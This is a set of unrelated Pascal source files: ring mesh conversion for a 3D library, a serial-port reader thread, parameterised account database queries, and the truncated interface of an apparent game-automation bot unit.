F.Point1 := (i - 1) * (FSides + 1) + j + 1;;
F.Point2 := i * (FSides + 1) + j;
F.Point3 := i * (FSides + 1) + j + 1;;
AddFace(F);
end;
end; //M = 3
CalcNormals;
CalcBoundingBox;
PGLDColor4f(Color.GetPointer)^ := Self.FColor.Color4f;
PGLDVector4f(Position.GetPointer)^ := Self.FPosition.Vector4f;
PGLDRotation3D(Rotation.GetPointer)^ := Self.FRotation.Params;
TGLDTriMesh(Dest).Selected := Self.Selected;
TGLDTriMesh(Dest).Name := Self.Name;
end; //with
Result := True;
end;
function TGLDRing.ConvertToQuadMesh(Dest: TPersistent): GLboolean;
var
M: GLubyte;
i, j: GLushort;
F: TGLDQuadFace;
begin
Result := False;
if not Assigned(Dest) then Exit;
if not (Dest is TGLDQuadMesh) then Exit;
M := GetMode;
with TGLDQuadMesh(Dest) do
begin
DeleteVertices;
F.Smoothing := GLD_SMOOTH_ALL;
if M = 0 then
begin
VertexCapacity := 1 + FSegments * FSides;
AddVertex(GetPoint(1, 1)^, True);
for i := 1 to FSegments do
for j := 1 to FSides do
AddVertex(GetPoint(i + 1, j)^, True);
for j := 1 to FSides do
begin
F.Point1 := 1;
F.Point2 := 1 + j;
if j = FSides then
F.Point3 := 1 + 1
else F.Point3 := 1 + j + 1;
F.Point4 := F.Point1;
AddFace(F);
end;
if FSegments > 1 then
for i := 1 to FSegments - 1 do
for j := 1 to FSides do
begin
F.Point1 := 1 + (i - 1) * FSides + j;
F.Point2 := 1 + i * FSides + j;
if j = FSides then
begin
F.Point3 := 1 + i * FSides + 1;
F.Point4 := 1 + (i - 1) * FSides + 1;
end else
begin
F.Point3 := 1 + i * FSides + j + 1;
F.Point4 := 1 + (i - 1) * FSides + j + 1;
end;
AddFace(F);
end;
end else //M = 0
if M = 1 then
begin
VertexCapacity := (FSegments + 1) * FSides;
for i := 1 to FSegments + 1 do
for j := 1 to FSides do
AddVertex(GetPoint(i, j)^, True);
for i := 1 to FSegments do
for j := 1 to FSides do
begin
F.Point1 := (i - 1) * FSides + j;
F.Point2 := i * FSides + j;
if j = FSides then
begin
F.Point3 := i * FSides + 1;
F.Point4 := (i - 1) * FSides + 1;
end else
begin
F.Point3 := i * FSides + j + 1;
F.Point4 := (i - 1) * FSides + j + 1;
end;
AddFace(F);
end;
end else //M = 1
if M = 2 then
begin
VertexCapacity := 1 + FSegments * (FSides + 1);
AddVertex(GetPoint(1, 1)^, True);
for i := 1 to FSegments do
for j := 1 to FSides + 1 do
AddVertex(GetPoint(i + 1, j)^, True);
for j := 1 to FSides do
begin
F.Point1 := 1;
F.Point2 := 1 + j;
F.Point3 := 1 + j + 1;
F.Point4 := F.Point1;
AddFace(F);
end;
if FSegments > 1 then
for i := 1 to FSegments - 1 do
for j := 1 to FSides do
begin
F.Point1 := 1 + (i - 1) * (FSides + 1) + j;
F.Point2 := 1 + i * (FSides + 1) + j;
F.Point3 := 1 + i * (FSides + 1) + j + 1;
F.Point4 := 1 + (i - 1) * (FSides + 1) + j + 1;
AddFace(F);
end;
end else //M = 2
if M = 3 then
begin
VertexCapacity := FSegments * (FSides + 1);
for i := 1 to FSegments + 1 do
for j := 1 to FSides + 1 do
AddVertex(GetPoint(i, j)^, True);
for i := 1 to FSegments do
for j := 1 to FSides do
begin
F.Point1 := (i - 1) * (FSides + 1) + j;
F.Point2 := i * (FSides + 1) + j;
F.Point3 := i * (FSides + 1) + j + 1;
F.Point4 := (i - 1) * (FSides + 1) + j + 1;
AddFace(F);
end;
end; //M = 3
PGLDColor4f(Color.GetPointer)^ := Self.FColor.Color4f;
PGLDVector4f(Position.GetPointer)^ := Self.FPosition.Vector4f;
PGLDRotation3D(Rotation.GetPointer)^ := Self.FRotation.Params;
TGLDQuadMesh(Dest).Selected := Self.Selected;
TGLDQuadMesh(Dest).Name := Self.Name;
CalcNormals;
CalcBoundingBox;
end; //with
Result := True;
end;
function TGLDRing.ConvertToPolyMesh(Dest: TPersistent): GLboolean;
var
M: GLubyte;
i, j: GLushort;
P: TGLDPolygon;
begin
Result := False;
if not Assigned(Dest) then Exit;
if not (Dest is TGLDPolyMesh) then Exit;
M := GetMode;
with TGLDPolyMesh(Dest) do
begin
DeleteVertices;
if M = 0 then
begin
VertexCapacity := 1 + FSegments * FSides;
AddVertex(GetPoint(1, 1)^, True);
for i := 1 to FSegments do
for j := 1 to FSides do
AddVertex(GetPoint(i + 1, j)^, True);
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 3);
P.Data^[1] := 1;
P.Data^[2] := 1 + j;
if j = FSides then
P.Data^[3] := 1 + 1
else P.Data^[3] := 1 + j + 1;
//F.Point4 := F.Point1;
AddFace(P);
end;
if FSegments > 1 then
for i := 1 to FSegments - 1 do
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 4);
P.Data^[1] := 1 + (i - 1) * FSides + j;
P.Data^[2] := 1 + i * FSides + j;
if j = FSides then
begin
P.Data^[3] := 1 + i * FSides + 1;
P.Data^[4] := 1 + (i - 1) * FSides + 1;
end else
begin
P.Data^[3] := 1 + i * FSides + j + 1;
P.Data^[4] := 1 + (i - 1) * FSides + j + 1;
end;
AddFace(P);
end;
end else //M = 0
if M = 1 then
begin
VertexCapacity := (FSegments + 1) * FSides;
for i := 1 to FSegments + 1 do
for j := 1 to FSides do
AddVertex(GetPoint(i, j)^, True);
for i := 1 to FSegments do
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 4);
P.Data^[1] := (i - 1) * FSides + j;
P.Data^[2] := i * FSides + j;
if j = FSides then
begin
P.Data^[3] := i * FSides + 1;
P.Data^[4] := (i - 1) * FSides + 1;
end else
begin
P.Data^[3] := i * FSides + j + 1;
P.Data^[4] := (i - 1) * FSides + j + 1;
end;
AddFace(P);
end;
end else //M = 1
if M = 2 then
begin
VertexCapacity := 1 + FSegments * (FSides + 1);
AddVertex(GetPoint(1, 1)^, True);
for i := 1 to FSegments do
for j := 1 to FSides + 1 do
AddVertex(GetPoint(i + 1, j)^, True);
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 3);
P.Data^[1] := 1;
P.Data^[2] := 1 + j;
P.Data^[3] := 1 + j + 1;
// P.Data^[4] := F.Point1;
AddFace(P);
end;
if FSegments > 1 then
for i := 1 to FSegments - 1 do
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 4);
P.Data^[1] := 1 + (i - 1) * (FSides + 1) + j;
P.Data^[2] := 1 + i * (FSides + 1) + j;
P.Data^[3] := 1 + i * (FSides + 1) + j + 1;
P.Data^[4] := 1 + (i - 1) * (FSides + 1) + j + 1;
AddFace(P);
end;
end else //M = 2
if M = 3 then
begin
VertexCapacity := FSegments * (FSides + 1);
for i := 1 to FSegments + 1 do
for j := 1 to FSides + 1 do
AddVertex(GetPoint(i, j)^, True);
for i := 1 to FSegments do
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 4);
P.Data^[1] := (i - 1) * (FSides + 1) + j;
P.Data^[2] := i * (FSides + 1) + j;
P.Data^[3] := i * (FSides + 1) + j + 1;
P.Data^[4] := (i - 1) * (FSides + 1) + j + 1;
AddFace(P);
end;
end; //M = 3
PGLDColor4f(Color.GetPointer)^ := Self.FColor.Color4f;
PGLDVector4f(Position.GetPointer)^ := Self.FPosition.Vector4f;
PGLDRotation3D(Rotation.GetPointer)^ := Self.FRotation.Params;
TGLDPolyMesh(Dest).Selected := Self.Selected;
TGLDPolyMesh(Dest).Name := Self.Name;
CalcNormals;
CalcBoundingBox;
end; //with
Result := True;
end;
{$WARNINGS ON}
function TGLDRing.GetMode: GLubyte;
begin
if GLDXGetAngle(FStartAngle, FSweepAngle) = 360 then
begin
if InnerRadius = 0 then
Result := 0
else Result := 1;
end else
begin
if InnerRadius = 0 then
Result := 2
else Result := 3;
end;
end;
function TGLDRing.GetPoint(i, j: GLushort): PGLDVector3f;
begin
Result := @FPoints^[(i - 1) * (FSides + 3) + j + 1];
end;
function TGLDRing.GetNormal(i, j: GLushort): PGLDVector3f;
begin
Result := @FNormals^[(i - 1) * (FSides + 3) + j + 1];
end;
procedure TGLDRing.SetInnerRadius(Value: GLfloat);
begin
if FInnerRadius = Value then Exit;
FInnerRadius := Value;
CreateGeometry;
Change;
end;
procedure TGLDRing.SetOuterRadius(Value: GLfloat);
begin
if FOuterRadius = Value then Exit;
FOuterRadius := Value;
CreateGeometry;
Change;
end;
procedure TGLDRing.SetSegments(Value: GLushort);
begin
if FSegments = Value then Exit;
FSegments := Value;
CreateGeometry;
Change;
end;
procedure TGLDRing.SetSides(Value: GLushort);
begin
if FSides = Value then Exit;
FSides := Value;
CreateGeometry;
Change;
end;
procedure TGLDRing.SetStartAngle(Value: GLfloat);
begin
if FStartAngle = Value then Exit;
FStartAngle := Value;
CreateGeometry;
Change;
end;
procedure TGLDRing.SetSweepAngle(Value: GLfloat);
begin
if FSweepAngle = Value then Exit;
FSweepAngle := Value;
CreateGeometry;
Change;
end;
function TGLDRing.GetParams: TGLDRingParams;
begin
Result := GLDXRingParams(FColor.Color3ub, FInnerRadius, FOuterRadius,
FSegments, FSides, FStartAngle, FSweepAngle,
FPosition.Vector3f, FRotation.Params);
end;
procedure TGLDRing.SetParams(Value: TGLDRingParams);
begin
if GLDXRingParamsEqual(GetParams, Value) then Exit;
PGLDColor3f(FColor.GetPointer)^ := GLDXColor3f(Value.Color);
FInnerRadius := Value.InnerRadius;
FOuterRadius := Value.OuterRadius;
FSegments := Value.Segments;
FSides := Value.Sides;
FStartAngle := Value.StartAngle;
FSweepAngle := Value.SweepAngle;
PGLDVector3f(FPosition.GetPointer)^ := Value.Position;
PGLDRotation3D(FRotation.GetPointer)^ := Value.Rotation;
CreateGeometry;
Change;
end;
end.
|
unit Serial3Comms;
{$mode objfpc}{$H+}
interface
uses
Classes, Platform, GlobalConst, Serial;
const
SERIAL_3_RECORD_SIZE = 76;
type
TConf = record
coBaudRate, coParity, coDataBits, coStopBits, coFlowControl : LongWord;
end;
type
TComPortReadThread=class(TThread)
private
FActive: boolean;
FConfi : TConf;
FRecordSize : Longword;
FRecordBufferP : pchar;
FDeviceCloseRequested : boolean;
FBytesRead : Longword;
FUpdateBufferP : pchar;
FFirstMessageSent : Boolean;
procedure DeviceOpen;
procedure DeviceClose;
procedure ReadData;
public
MustDie: boolean;
procedure Open;
procedure Close;
function DataAvailable: boolean;
function ReadChar: Char;
function WriteData(data: string): integer;
function WriteBuffer(var buf; size: integer): integer;
procedure Config(cBaudRate : LongWord; cParity : Char; cDataBits : LongWord; cStopBits : LongWord; cFlowControl : LongWord); virtual;
constructor Create(RecordSize : Integer; CreateSuspended: Boolean);
protected
procedure Execute; override;
procedure OnRecordAvailable(recP : pointer); virtual;
procedure OnConnectionEstablished; virtual;
procedure SetActive(state: boolean);
procedure RequestDeviceClose;
published
property Terminated;
property Active: boolean read FActive write SetActive;
property IsReceivingData : boolean read FFirstMessageSent;
end;
implementation
procedure TComPortReadThread.Close;
begin
Active:=false;
end;
procedure TComPortReadThread.DeviceClose;
begin
SerialClose;
end;
function TComPortReadThread.DataAvailable: boolean;
begin
result:=SerialAvailable;
end;
procedure TComPortReadThread.Open;
begin
Active:=true;
end;
procedure TComPortReadThread.Config(cBaudRate : LongWord; cParity : Char; cDataBits : LongWord; cStopBits : LongWord; cFlowControl : LongWord);
begin
FConfi.coBaudRate := cBaudRate;
FConfi.coParity := SERIAL_PARITY_NONE;
case cParity of
'N', 'n': FConfi.coParity := SERIAL_PARITY_NONE;
'O', 'o': FConfi.coParity := SERIAL_PARITY_ODD;
'E', 'e': FConfi.coParity := SERIAL_PARITY_EVEN;
'M', 'm': FConfi.coParity := SERIAL_PARITY_MARK;
'S', 's': FConfi.coParity := SERIAL_PARITY_SPACE;
end;
FConfi.coDataBits := SERIAL_DATA_8BIT;
case cDataBits of
7: FConfi.coDataBits := SERIAL_DATA_7BIT;
6: FConfi.coDataBits := SERIAL_DATA_6BIT;
5: FConfi.coDataBits := SERIAL_DATA_5BIT;
end;
FConfi.coStopBits := SERIAL_STOP_1BIT;
case cStopBits of
2: FConfi.coStopBits := SERIAL_STOP_2BIT;
15: FConfi.coStopBits := SERIAL_STOP_1BIT5;
end;
FConfi.coFlowControl := SERIAL_FLOW_NONE;
case cFlowControl of
0: FConfi.coFlowControl := SERIAL_FLOW_NONE;
1: FConfi.coFlowControl := SERIAL_FLOW_RTS_CTS;
2: FConfi.coFlowControl := SERIAL_FLOW_DSR_DTR;
end;
end;
procedure TComPortReadThread.DeviceOpen;
begin
SerialOpen(FConfi.coBaudRate,FConfi.coDataBits,FConfi.coStopBits,FConfi.coParity,FConfi.coFlowControl,0,0);
end;
procedure TComPortReadThread.OnConnectionEstablished;
begin
end;
function TComPortReadThread.ReadChar: Char;
var
uCharac : Char;
Count1 : LongWord;
begin
Count1:=0;
SerialRead(@uCharac,SizeOf(uCharac),Count1);
result:=uCharac;
end;
procedure TComPortReadThread.ReadData;
var
ResultCode : integer;
Count : LongWord = 0;
begin
ResultCode:=SerialDeviceRead(SerialDeviceGetDefault,FUpdateBufferP,
FRecordSize - FBytesRead,SERIAL_READ_NON_BLOCK,
Count);
if (Count > 0) then
begin
FBytesRead := FBytesRead + Count;
FUpdateBufferP := FUpdateBufferP + Count;
end;
end;
procedure TComPortReadThread.SetActive(state: boolean);
begin
if state=FActive then exit;
if state then DeviceOpen
else DeviceClose;
FActive:=state;
end;
function TComPortReadThread.WriteBuffer(var buf; size: integer): integer;
var
Count2 : Longword;
begin
Count2 := 0;
SerialWrite(Pointer(@buf), size, Count2);
result := Count2;
end;
function TComPortReadThread.WriteData(data: string): integer;
var
Count3 : Longword;
begin
Count3 := 0;
SerialWrite(PChar(data),Length(data),Count3);
result := Count3;
end;
constructor TComPortReadThread.Create(RecordSize : Integer; CreateSuspended : boolean);
begin
inherited Create(CreateSuspended);
FActive := False;
FRecordSize := RecordSize;
FBytesRead := 0;
FRecordBufferP := Getmem(FRecordSize);
FUpdateBufferP := FRecordBufferP;
FFirstMessageSent := False;
FDeviceCloseRequested := False;
FConfi.coBaudRate := 9600;
FConfi.coParity := SERIAL_PARITY_NONE;
FConfi.coDataBits := SERIAL_DATA_8BIT;
FConfi.coStopBits := SERIAL_STOP_1BIT;
FConfi.coFlowControl := SERIAL_FLOW_NONE;
end;
procedure TComPortReadThread.Execute;
begin
try
while not Terminated do begin
if (Active) then
begin
ReadData;
if (FBytesRead = FRecordSize) then
begin
if (not FFirstMessageSent) then
begin
OnConnectionEstablished;
FFirstMessageSent := True;
end;
OnRecordAvailable(FRecordBufferP);
FBytesRead := 0;
FUpdateBufferP := FRecordBufferP;
end;
if (FDeviceCloseRequested) then
begin
Active := False;
FDeviceCloseRequested := False;
end;
end;
sleep(10);
end;
finally
Active := False;
FreeMem(FRecordBufferP);
Terminate;
end;
end;
procedure TComPortReadThread.OnRecordAvailable(recP : pointer);
begin
end;
procedure TComPortReadThread.RequestDeviceClose;
begin
FDeviceCloseRequested := True;
end;
end.
|
//------------------------------------------------------------------------------
//AccountQueries UNIT
//------------------------------------------------------------------------------
// What it does-
// Account related database routines
//
// Changes -
// February 11th, 2008
//
//------------------------------------------------------------------------------
unit AccountQueries;
{$IFDEF FPC}
{$MODE Delphi}
{$ENDIF}
interface
uses
{RTL/VCL}
{Project}
Account,
QueryBase,
{3rd Party}
ZSqlUpdate
;
type
//------------------------------------------------------------------------------
//TAccountQueries CLASS
//------------------------------------------------------------------------------
TAccountQueries = class(TQueryBase)
protected
public
Function Exists(
const AnAccount : TAccount
) : Boolean;
Procedure Load(
const AnAccount : TAccount
);
Procedure Save(
const AnAccount : TAccount
);
Procedure New(
const AnAccount : TAccount
);
procedure Refresh(
const
AnAccount : TAccount
);
end;
//------------------------------------------------------------------------------
implementation
uses
{RTL/VCL}
SysUtils,
{Project}
{3rd Party}
ZDataset,
DB
//none
;
//------------------------------------------------------------------------------
//Load PROCEDURE
//------------------------------------------------------------------------------
// What it does-
// Loads an account
//
// Changes -
// February 11th, 2008 - RaX - Created.
//
//------------------------------------------------------------------------------
Procedure TAccountQueries.Load(
const AnAccount : TAccount
);
const
AQuery =
'SELECT id, name, password, last_login, login_count, gender, email_address, '+
'login_key_1, login_key_2, level, connect_until, banned_until, last_ip, state'+
' FROM accounts';
var
WhereClause : String;
ADataSet : TZQuery;
AParam : TParam;
begin
if AnAccount.ID > 0 then
begin
WhereClause := ' WHERE id=:ID;';
end else
begin
WhereClause := ' WHERE name=:Name;'
end;
ADataSet := TZQuery.Create(nil);
//ID
AParam := ADataset.Params.CreateParam(ftInteger, 'ID', ptInput);
AParam.AsInteger := AnAccount.ID;
ADataSet.Params.AddParam(
AParam
);
//Name
AParam := ADataset.Params.CreateParam(ftString, 'Name', ptInput);
AParam.AsString := AnAccount.Name;
ADataSet.Params.AddParam(
AParam
);
//
try
Query(ADataSet, AQuery+WhereClause);
ADataSet.First;
if NOT ADataSet.Eof then
begin
//fill character data
AnAccount.ID := ADataSet.Fields[0].AsInteger;
AnAccount.Name := ADataSet.Fields[1].AsString;
AnAccount.Password := ADataSet.Fields[2].AsString;
//Tsusai - For Gender, we need to return the first char, thats
//why there is a [1]
AnAccount.LastLoginTime := ADataSet.Fields[3].AsDateTime;
AnAccount.LoginCount := ADataSet.Fields[4].AsInteger;
AnAccount.Gender := (ADataSet.Fields[5].AsString)[1];
AnAccount.EMail := ADataSet.Fields[6].AsString;
AnAccount.LoginKey[1] := ADataSet.Fields[7].AsInteger;
AnAccount.LoginKey[2] := ADataSet.Fields[8].AsInteger;
AnAccount.Level := ADataSet.Fields[9].AsInteger;
AnAccount.ConnectUntil := ADataSet.Fields[10].AsDateTime;
AnAccount.BannedUntil := ADataSet.Fields[11].AsDateTime;
AnAccount.LastIP := ADataSet.Fields[12].AsString;
AnAccount.State := ADataSet.Fields[13].AsInteger;
end;
finally
ADataSet.Free;
end;
Inherited;
end;//Load
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//Exists PROCEDURE
//------------------------------------------------------------------------------
// What it does-
// Checks to see if an account exists
//
// Changes -
// February 11th, 2008 - RaX - Created.
//
//------------------------------------------------------------------------------
Function TAccountQueries.Exists(
const AnAccount : TAccount
) : Boolean;
const
AQuery =
'SELECT id FROM accounts';
var
WhereClause : String;
ADataSet : TZQuery;
AParam : TParam;
begin
Result := TRUE;
if AnAccount.ID > 0 then
begin
WhereClause := ' WHERE id=:ID';
end else
begin
WhereClause := ' WHERE name=:Name'
end;
ADataSet := TZQuery.Create(nil);
//ID
AParam := ADataset.Params.CreateParam(ftInteger, 'ID', ptInput);
AParam.AsInteger := AnAccount.ID;
ADataSet.Params.AddParam(
AParam
);
//Name
AParam := ADataset.Params.CreateParam(ftString, 'Name', ptInput);
AParam.AsString := AnAccount.Name;
ADataSet.Params.AddParam(
AParam
);
try
Query(ADataSet, AQuery+WhereClause);
ADataset.First;
if ADataSet.Eof then
begin
Result := FALSE;
end;
finally
ADataSet.Free;
end;
end;//Exists
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//Save PROCEDURE
//------------------------------------------------------------------------------
// What it does-
// Save an account.
//
// Changes -
// February 12th, 2008 - RaX - Created.
//
//------------------------------------------------------------------------------
procedure TAccountQueries.Save(
const
AnAccount : TAccount
);
const
AQuery =
'UPDATE accounts SET '+
'name=:Name ,' +
'password=:Password , ' +
'last_login=:LastLogin , ' +
'gender=:Gender , ' +
'login_count=:LoginCount , ' +
'email_address=:EmailAddress , ' +
'login_key_1=:LoginKey1 , ' +
'login_key_2=:LoginKey2 , ' +
'connect_until=:ConnectUntil , ' +
'banned_until=:BannedUntil , ' +
'last_ip=:LastIp, ' +
'state=:State ' +
'WHERE id=:ID;';
var
ADataSet : TZQuery;
AParam : TParam;
begin
ADataSet := TZQuery.Create(nil);
//ID
AParam := ADataset.Params.CreateParam(ftInteger, 'ID', ptInput);
AParam.AsInteger := AnAccount.ID;
ADataSet.Params.AddParam(
AParam
);
//Name
AParam := ADataset.Params.CreateParam(ftString, 'Name', ptInput);
AParam.AsString := AnAccount.Name;
ADataSet.Params.AddParam(
AParam
);
//Password
AParam := ADataset.Params.CreateParam(ftString, 'Password', ptInput);
AParam.AsString := AnAccount.Password;
ADataSet.Params.AddParam(
AParam
);
//LastLogin
AParam := ADataset.Params.CreateParam(ftTimestamp, 'LastLogin', ptInput);
AParam.AsString := FormatDateTime('yyyy-mm-dd hh:mm:ss',AnAccount.LastLoginTime);
ADataSet.Params.AddParam(
AParam
);
//Gender
AParam := ADataset.Params.CreateParam(ftString, 'Gender', ptInput);
AParam.AsString := AnAccount.Gender;
ADataSet.Params.AddParam(
AParam
);
//LoginCount
AParam := ADataset.Params.CreateParam(ftInteger, 'LoginCount', ptInput);
AParam.AsInteger := AnAccount.LoginCount;
ADataSet.Params.AddParam(
AParam
);
//EmailAddress
AParam := ADataset.Params.CreateParam(ftString, 'EmailAddress', ptInput);
AParam.AsString := AnAccount.EMail;
ADataSet.Params.AddParam(
AParam
);
//LoginKey1
AParam := ADataset.Params.CreateParam(ftInteger, 'LoginKey1', ptInput);
AParam.AsInteger := AnAccount.LoginKey[1];
ADataSet.Params.AddParam(
AParam
);
//LoginKey2
AParam := ADataset.Params.CreateParam(ftInteger, 'LoginKey2', ptInput);
AParam.AsInteger := AnAccount.LoginKey[2];
ADataSet.Params.AddParam(
AParam
);
//ConnectUntil
AParam := ADataset.Params.CreateParam(ftTimestamp, 'ConnectUntil', ptInput);
AParam.AsString := FormatDateTime('yyyy-mm-dd hh:mm:ss',AnAccount.ConnectUntil);
ADataSet.Params.AddParam(
AParam
);
//BannedUntil
AParam := ADataset.Params.CreateParam(ftTimestamp, 'BannedUntil', ptInput);
AParam.AsString := FormatDateTime('yyyy-mm-dd hh:mm:ss',AnAccount.BannedUntil);
ADataSet.Params.AddParam(
AParam
);
//LastIp
AParam := ADataset.Params.CreateParam(ftString, 'LastIp', ptInput);
AParam.AsString := AnAccount.LastIP;
ADataSet.Params.AddParam(
AParam
);
//State
AParam := ADataset.Params.CreateParam(ftInteger, 'State', ptInput);
AParam.AsInteger := AnAccount.State;
ADataSet.Params.AddParam(
AParam
);
try
QueryNoResult(ADataSet, AQuery);
finally
ADataSet.Free;
end;
end;//Save
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//New PROCEDURE
//------------------------------------------------------------------------------
// What it does-
// Creates an account.
//
// Changes -
// February 12th, 2008 - RaX - Created.
//
//------------------------------------------------------------------------------
procedure TAccountQueries.New(
const
AnAccount : TAccount
);
const
AQuery =
'INSERT INTO accounts '+
'(name, password, gender, storage_id) '+
'VALUES'+
'(:Name , :Password, :Gender, :StorageID);';
var
ADataSet : TZQuery;
AParam : TParam;
begin
ADataSet := TZQuery.Create(nil);
//Name
AParam := ADataset.Params.CreateParam(ftString, 'Name', ptInput);
AParam.AsString := AnAccount.Name;
ADataSet.Params.AddParam(
AParam
);
//Password
AParam := ADataset.Params.CreateParam(ftString, 'Password', ptInput);
AParam.AsString := AnAccount.Password;
ADataSet.Params.AddParam(
AParam
);
//Gender
AParam := ADataset.Params.CreateParam(ftString, 'Gender', ptInput);
AParam.AsString := AnAccount.Gender;
ADataSet.Params.AddParam(
AParam
);
//StorageID
AParam := ADataset.Params.CreateParam(ftInteger, 'StorageID', ptInput);
AParam.AsInteger := AnAccount.StorageID;
ADataSet.Params.AddParam(
AParam
);
try
QueryNoResult(ADataSet, AQuery);
finally
ADataSet.Free;
end;
end;//New
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//Refresh Procedure
//------------------------------------------------------------------------------
// What it does-
// Refreshes some account data
//
// Changes -
// February 12th, 2008 - RaX - Created.
//
//------------------------------------------------------------------------------
procedure TAccountQueries.Refresh(
const
AnAccount : TAccount
);
const
AQuery =
'SELECT login_key_1, login_key_2, connect_until, banned_until '+
'FROM accounts WHERE id=:ID';
var
ADataSet : TZQuery;
AParam : TParam;
begin
ADataSet := TZQuery.Create(nil);
try
//ID
AParam := ADataset.Params.CreateParam(ftInteger, 'ID', ptInput);
AParam.AsInteger := AnAccount.ID;
ADataSet.Params.AddParam(
AParam
);
Query(ADataSet, AQuery);
ADataSet.First;
if NOT ADataSet.Eof then
begin
AnAccount.LoginKey[1] := ADataSet.Fields[0].AsInteger;
AnAccount.LoginKey[2] := ADataSet.Fields[1].AsInteger;
AnAccount.ConnectUntil := ADataSet.Fields[2].AsDateTime;
AnAccount.BannedUntil := ADataSet.Fields[3].AsDateTime;
end;
finally
ADataSet.Free;
end;
end;//Refresh
//------------------------------------------------------------------------------
end.
|
unit UnitClasses;
interface
Uses
Windows, SysUtils, Classes, IniFiles, Messages, Contnrs,
UnitTypesAndVars, UnitConsts, ClsMaps, ClsGames, Math,
UnitGeneralSet;
Type
// 步骤信息
{ TStep = Class
public
Action: Integer;
X: String;
Y: String;
Z: String;
SubStepIndex: integer;
CalledNPCID: TNPCID;
constructor Create(tmpAct: Integer = ActUnknown; tmpX: String = '';
tmpY: String = ''; tmpZ: String = '');
end; }
// 事务信息
TTransaction = Class // 做一系列步骤
Private
FCaption: WideString; // 这一步叫什么名字
FID: integer; // 在Workini中的定位
Purposes: TList;
FOldTime: LongWord;
StepList: TList;
StepCount: Integer; // 一共有多少个Step
Public
StepIndex: integer;
IsWorking: Boolean;
PosX: DWORD;
PosY: DWORD;
OldNPCDialog: WideString;
State: Integer; // 0-还没有检查,1-OK,-1为不行 constructor Create;
property Caption: WideString read FCaption;
constructor Create(tmpID: integer = -1; tmpCaption: String = ''); overload;
destructor Destroy; override;
procedure SetOldTime;
procedure ClearOldTime;
function HasPassedInterval(MilliSecond: LongWord): Boolean;
procedure TryReadDetails(const vIniFileName: WideString);
function IsPurposeSatisfied: Boolean;
procedure AddStep(tmpAction: Integer; tmpX, tmpY, tmpZ: String);
procedure InsertStep(tmpAction: Integer; tmpX, tmpY, tmpZ: String; pos: Integer);
function GetCurrStep: TStepInfo;
procedure Init;
function IsFinish: Boolean;
procedure GotoNextStep;
function AddPurpose: PurposeInfo;
procedure PurseSteps(tmpStringList: TStringList);
end;
// 工作
TWork = Class(TObjectList)
Private
// TransactionList: TList;
//FTransactionIndex: Integer; // 当前事务编号{此Step不是StepInfo的含义}
FIniFileName: WideString; // 脚本文件
FRepeatCount: Integer;
function GetItem(Index: Integer): TTransaction;
procedure SetItem(Index: Integer; const Value: TTransaction); // 预计循环数
Public
FTransactionIndex: Integer; // 当前事务编号{此Step不是StepInfo的含义}
CanWork: Boolean;
IsFirstTime: Boolean; // 是否第一次工作
RepeatCounter: Integer;
// TransactionCount: integer;
property IniFileName: WideString read FIniFileName write FIniFileName; // 脚本文件
property Items[Index: Integer]: TTransaction read GetItem write SetItem; default;
property RepeatCount: Integer read FRepeatCount; // 预计循环数
function AddTransaction(const Caption: String = ''): TTransaction;
procedure DeleteTransaction(Index: integer);
procedure Clean;
constructor Create;
destructor Destroy; override;
function GetSize: Integer;
function GetCurrTransaction: TTransaction;
function GetNextTransToDo: Boolean;
function GetTransactionByIndex(Index: integer): TTransaction;
procedure GotoNextTrans;
procedure GotoTrans(ToIndex: integer; IsClearState: Boolean=False);
function IsFinish: Boolean; // 检测工作是否完成
function ReadIni: Boolean;
end;
// 原料
TBuyStuff = class
Public
function InitShop: Boolean; // 返回值为False的时候,表明Shop有些窗口没有找到
function IsSatisfied: Boolean;
procedure WriteStuffInfo(Name, Maker: String; Count: integer);
procedure GetAllStuffCount;
procedure PatchShop;
procedure UnPatchShop;
function DoBuyStuff: Boolean;
function HasBoughtStuff: Boolean;
Private
hwndShop: HWND;
hwndItemList: HWND;
hwndBuy: HWND;
StuffName: String;
StuffMaker: String;
StuffCount: integer;
OldAllStuffCount: integer;
end;
// 战斗
TBattle = Class
Public
OrderHumanAction: integer; // 预先下的指令,在战斗过程中不会变化
OrderPetAction: integer;
EscapeWhenNoMonsterToCapture: Boolean; // 没有找到捉宠目标时是否要逃跑
MonsterNameToCapture: String; // 要捉的宠的名字
CaptureLevelFrom: integer; // 捉宠时级别下限
CaptureLevelTo: integer; // 捉宠时级别上限
HasBegin: Boolean;
CreatureCount: integer;
Creatures: TList;
procedure GetCreatures;
constructor Create;
destructor Destroy; override;
procedure DoBattle;
private
DeadMonsterCount: integer;
CurrHumanAction: integer; // 此次回合中的指令
CurrPetAction: integer;
OldCreatureCount: integer; // 捉宠时有用,判断宠是否被捉
LiveMonsterCount: integer;
TotalExp: integer; // Total experience for all monsters in battle
BattleBufferOrder: DWORD; // 战斗指令
BattleBufferHumanAct: DWORD; // 人物动作
BattleBufferHumanActObj: DWORD; // 人物动作对象
BattleBufferRemain1: DWORD;
BattleBufferRemain1a: DWORD;
BattleBufferPetAct: DWORD; // 宠物动作
BattleBufferPetActObj: DWORD; // 宠物动作对象
BattleBufferRemain2: DWORD;
BattleBufferRemain2a: DWORD;
BattleBufferTimer: DWORD;
function FindMonsterToAct(IsPetAction:Boolean=False):DWORD;
function GetMyPetBattleID(myPet: TPet):DWORD;
function GetCreatureById(creatureId: DWORD): CreatureInfo;
procedure ReadOrders;
procedure WriteOrders;
function ReadDeadMonsterCount: integer;
procedure SubmitAction;
function ReadState: integer;
function GetBattleExpForLevel(Level:Integer): integer;
end;
// 移动
TMove = class
private
function GetPathNodeCount: integer;
Public
property PathNodeCount: integer read GetPathNodeCount;
constructor Create;
destructor Destroy; override;
function Init(FromPos, ToPos: integer): Boolean;
function GetCurrPathNode: TNodeInfo;
function GetCurrPathNodeIndex: integer;
procedure GotoNextPathNode;
private
FromMapIndexInList: integer; // 发起移动/回来动作时当前的地图
ToMapIndexInList: integer;
Path: TList;
